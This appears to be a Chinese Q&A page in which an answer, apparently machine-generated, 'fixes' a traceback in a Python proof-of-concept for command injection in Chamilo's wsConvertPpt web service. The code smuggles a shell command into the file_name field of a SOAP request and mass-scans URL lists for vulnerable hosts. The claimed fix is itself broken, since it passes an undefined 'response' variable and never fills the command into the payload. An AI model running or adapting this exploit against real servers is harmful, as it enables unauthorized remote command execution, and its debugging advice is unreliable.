运行报错Traceback most recent call last File CUsersAdministratorDownloadsPOC-bomber-maintestpocchamliopy line 71 in module main File CUsersAdministratorDownloadsPOC-bomber-maintestpocchamliopy line 5
这个报错是因为在check_vulnerability函数中,在写入response.txt文件时,使用了未定义的变量response。在此之前,你需要把response作为参数传递给check_vulnerability函数,并在函数中使用。修改后的代码如下:
import argparse
import concurrent.futures
import requests
def execute_command(url, command, vulnerable_urls):
body = '''<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">{}`.pptx'|" | pwd ||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>'''
try:
response = requests.post('{}/main/webservices/additional_webservices.php'.format(url), data=body, headers={
'Content-Type': 'text/xml; charset=utf-8',
})
except:
return False
if response.status_code == 200 and "ppt2png" in response.text:
vulnerable_urls.append(url)
return True
else:
return False
def check_vulnerability(url, vulnerable_urls, response):
if execute_command(url, 'id', vulnerable_urls):
print(f"URL vulnerable: {url}")
with open('response.txt', 'a') as f:
f.write(f"URL vulnerable: {url}\n")
start_index = response.text.find("<return>") + len("<return>")
end_index = response.text.find("</return>")
f.write(response.text[start_index:end_index] + '\n')
else:
print(f"URL not vulnerable: {url}")
def execute_commands(url, commands):
for command in commands:
if execute_command(url, command, vulnerable_urls):
print(f"Command executed: {command}")
else:
print(f"An error has occured, url is not vulnerable: {url}")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="Url of your Chamilo", required=False)
parser.add_argument("-c", "--command", help="Command to execute", required=False)
parser.add_argument("-f", "--file", help="File containing urls to check", required=False)
parser.add_argument("-o", "--output", help="Output file for vulnerable urls", required=False)
args = parser.parse_args()
vulnerable_urls = []
if args.file is not None:
with open(args.file, 'r') as f:
urls = f.readlines()
with concurrent.futures.ThreadPoolExecutor() as executor:
for url in urls:
executor.submit(check_vulnerability, url.strip(), vulnerable_urls, response)
elif args.url is not None:
if args.command is None:
check_vulnerability(args.url, vulnerable_urls, response)
else:
execute_commands(args.url, args.command.split(','))
else:
print("Please specify a url to check with -u or --url, or a file containing urls with -f or --file")
if args.output is not None:
with open(args.output, 'w') as f:
for url in vulnerable_urls:
f.write(url + '\n')
if __name__ == '__main__':
main()
这样就可以解决报错问题了
原文地址: https://www.cveoy.top/t/topic/hAWl 著作权归作者所有。请勿转载和采集!